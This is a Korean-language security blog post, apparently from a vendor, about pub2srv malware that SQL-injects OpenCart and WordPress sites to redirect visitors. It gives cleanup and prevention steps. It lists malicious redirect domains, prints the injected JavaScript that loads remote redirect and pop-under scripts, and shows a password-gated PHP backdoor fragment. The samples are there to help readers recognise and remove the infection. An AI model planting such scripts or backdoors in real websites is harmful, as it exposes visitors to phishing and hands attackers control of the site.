지난 몇 달간 저희는 오픈카트(OpenCart)와 워드프레스(WordPress) 웹사이트를 표적으로 삼는 특정 악성코드 감염을 지속적으로 추적해 왔습니다. 이 악성코드는 통상 pub2srv 멀웨어로 알려져 있으며, 웹사이트 방문자를 아래와 같은 악성 도메인으로 강제 리디렉션시킵니다.
go.pub2srv[.]com
go.mobisla[.]com
go.oclaserver[.com]
deloton.com/afu.php?zoneid= 사이트
Dolohen.com
뿐만 아니라 구글은 웹사이트에 악성 링크가 존재한다는 이유로 광고 계정을 정지시킬 수 있습니다. 실제 정지 사유로 지목되는 대표적인 악성 링크는 다음과 같습니다.
https://defpush.com/ntfc.php?p=1565632https://deloplen.com/apu.php?zoneid=1558096https://go.mobisla.com/notice.php?p=1558098&interactive=1&pushup=1https://mobpushup.com/notice.php?p=1558098&interactive=1&pushup=1https://wowreality.info/page.js?wm=gr
포럼에서 도움을 요청하는 워드프레스 사용자의 스크린샷
pub2srv 멀웨어란 무엇이며, 어떤 증상이 나타날까?
pub2srv 멀웨어는 오픈카트 및 워드프레스 사이트를 스팸성 웹페이지로 리디렉션시키는 악성코드입니다. 특히 모바일 기기에서는 광고나 피싱 페이지가 담긴 스팸 팝업 또는 푸시 알림이 열립니다.
이 멀웨어는 웹페이지 소스에 악성 자바스크립트 코드를 삽입해 리디렉션과 팝업을 유발합니다. 오픈카트의 경우 매장에 존재하는 SQL 인젝션(SQL Injection) 취약점이 원인이 되어 해커가 데이터베이스에 악성 코드를 추가할 수 있게 됩니다. 워드프레스의 경우에는 해커가 index.php 또는 functions.php 파일을 직접 변조해 페이로드(payload)를 삽입합니다.
이 해킹의 전형적인 증상은 다음과 같습니다:
- 웹사이트 방문자가 광고, 성인 콘텐츠, 피싱 페이지가 포함된 스팸 사이트로 리디렉션됩니다. (웹사이트에서 반복적인 리디렉션이 발생하는 원인에 대한 별도의 상세 가이드도 참고하세요.)
- 모바일 기기에서 앱 설치를 유도하는 팝업이 나타납니다.
- AJAX 기반 플러그인이 정상 작동하지 않습니다. (예: TablePress, DataTables 등)
- 구글에 블랙리스트로 등록되거나 광고가 정지됩니다.
- 페이지 소스에서 출처를 알 수 없는 자바스크립트 코드가 발견됩니다.
해킹으로 인한 피해 결과
이 멀웨어의 근본 원인은 SQL 인젝션(SQLi) 취약점입니다. 따라서 공격자는 다음과 같은 행위가 가능합니다.
- 데이터베이스 내용의 추가, 삭제, 수정 및 조회
- 데이터베이스 서버 내 파일 소스 코드 읽기
- 데이터베이스 서버에 임의 파일 쓰기
- 워드프레스/오픈카트 웹사이트의 사용자 정보 및 비밀번호 탈취
- 오픈카트/우커머스(WooCommerce) 스토어의 거래 정보 절도
- 도메인을 이용한 SEO 스팸 수행으로 인한 구글 웹마스터 도구 블랙리스트 등재
웹사이트에서 pub2srv 멀웨어 코드를 제거하는 방법
오픈카트의 경우 멀웨어는 일반적으로 데이터베이스를 감염시키며, 다음 두 테이블에 악성 코드를 심습니다.
- oc_product_description 테이블 (상품 설명)
- oc_category_description 테이블 (카테고리 설명)
오픈카트 데이터베이스에서 악성 코드를 제거하려면 아래 단계를 따르세요:
- phpMyAdmin 또는 Sequel Pro 같은 도구로 데이터베이스 테이블을 먼저 확인합니다.
- 'oc_category_description' 테이블을 연 뒤 'description' 컬럼의 값을 검토합니다.
- 아래와 같은 자바스크립트 코드 조각을 발견하게 될 것입니다.
<script type="text/javascript">//<![CDATA[ (function() { var configuration = { "token": "XXXXXXXXXXXXX", "exitScript": { "enabled": true }, "popUnder": { "enabled": true } }; var script = document.createElement(''script''); script.async = true; script.src = ''//cdn.shorte[.st]/link-converter.min.js''; script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ''complete'' && rs != ''loaded'') return; shortestMonetization(configuration);}; var entry = document.getElementsByTagName(''script'')[0]; entry.parentNode.insertBefore(script, entry); })(); //]]></script><script data-cfasync=''false'' type=''text/javascript'' src=''//pXXXXX.clksit[e.com/]adServe/banners?tid=XXXXX_127XXX_7&tagid=2''></script><script type="text/javascript" src="//[go.pub2srv][.com/ap]u.php?zoneid=XXXXXX"></script><script async="async" type="text/javascript" src="//g[o.mobisl]a.co[m/notice.ph]p?p=XXXXXX&interactive=1&pushup=1"></script> - 필요한 부분을 알맞게 교체한 후 다음 SQL 쿼리를 실행합니다.
UPDATE oc89gWs_category_description SET description = REPLACE (description, 'INSERT MALICIOUS CODE FROM PREVIOUS STEP', ''); - oc_product_description 테이블에 대해서도 동일한 과정을 반복합니다.
워드프레스의 경우 멀웨어는 주로 다음 위치에서 발견됩니다.
- index.php
- functions.php
- 데이터베이스 테이블
워드프레스 서버에서 악성 코드를 제거하려면 아래 단계를 따르세요:
- 서버의 index.php 파일(public_html 폴더)과 wp-content/themes/테마-이름/functions.php 파일을 엽니다.
- 두 파일에서 낯설거나 의미를 알 수 없거나 암호화된 듯한 코드를 검색합니다. 아래와 유사한 코드를 발견할 수 있습니다.
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'XXXXXXXXXXXXXXXXXXXXXX')) { if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; ?> - 파일에서 악성 코드를 발견했다면, 마지막으로 정상 작동하던 시점의 백업본으로 해당 파일을 교체해야 합니다.
- 아울러 위 오픈카트 단계에서 안내한 방법과 같이 데이터베이스 테이블도 함께 점검합니다.
- 추가로, wp-includes 디렉터리에서 wp-vcd.php와 class.wp.php 파일을 삭제합니다. 이어서 같은 디렉터리의 post.php 파일을 열어 멀웨어가 삽입한 첫 번째 PHP 태그를 제거하고, 테마의 functions.php 파일을 열어 위 코드들을 삭제합니다. (독자 Jaber님이 댓글로 제안해 주신 방법입니다)
재감염 예방 및 원인 파악을 위한 필수 조치
- 오픈카트/워드프레스를 최신 버전으로 업데이트: CMS 코어의 알려진 보안 취약점을 해결합니다.
- SQL 인젝션 공격 차단: Astra 같은 보안 플러그인을 사용하면 공격이 웹사이트에 도달하기 전에 SQL 인젝션(SQLi) 공격을 능동적으로 탐지하고 차단할 수 있습니다.
- 관리자 계정의 사용자명과 비밀번호 변경: 멀웨어 제거 후에도 해커가 웹사이트에 계속 접근하지 못하도록 합니다.
- 데이터베이스 비밀번호 변경: 해커가 데이터베이스에 직접 연결하지 못하도록 차단합니다.
- 암호화 키(Encryption Key) 변경: 스푸핑 및 기타 암호학적 공격을 예방합니다.
- 관리자 영역 접근을 허용 IP로 제한: 승인된 관리자만 백엔드 관리 영역에 접근할 수 있도록 설정합니다.
- 사용하지 않는 플러그인/확장 기능 제거: 유지보수가 중단된 플러그인은 해킹의 근본 원인이 되는 보안 취약점을 품고 있을 수 있습니다.
- 서버 로그 분석 (접속 로그 및 에러 로그): 로그에서 낯선 오류나 의미 불명의 기록을 발견하면 해킹의 경로와 시점을 파악하는 중요한 단서가 됩니다.
관련 가이드 – 워드프레스 해킹 제거
또한 워드프레스 파비콘(.ico) 바이러스 백도어에 관한 블로그 글도 함께 확인해 보세요.
Astra 웹 프로텍션 소개
Astra Web Protection은 CMS를 위한 엔드투엔드(end-to-end) 보안 솔루션입니다. 버튼 클릭 한 번으로 100여 가지 공격, 악성 봇, 멀웨어로부터 웹사이트를 보호할 수 있습니다. 저희 보안 전문가들은 연중무휴 24시간 온라인 비즈니스 보안을 지원합니다. 아래 채팅 위젯으로 문의해 주시면 전문적인 도움을 받으실 수 있으며, 웹사이트를 100% 깨끗하고 안전하게 유지하는 방법에 대해서도 안내해 드립니다!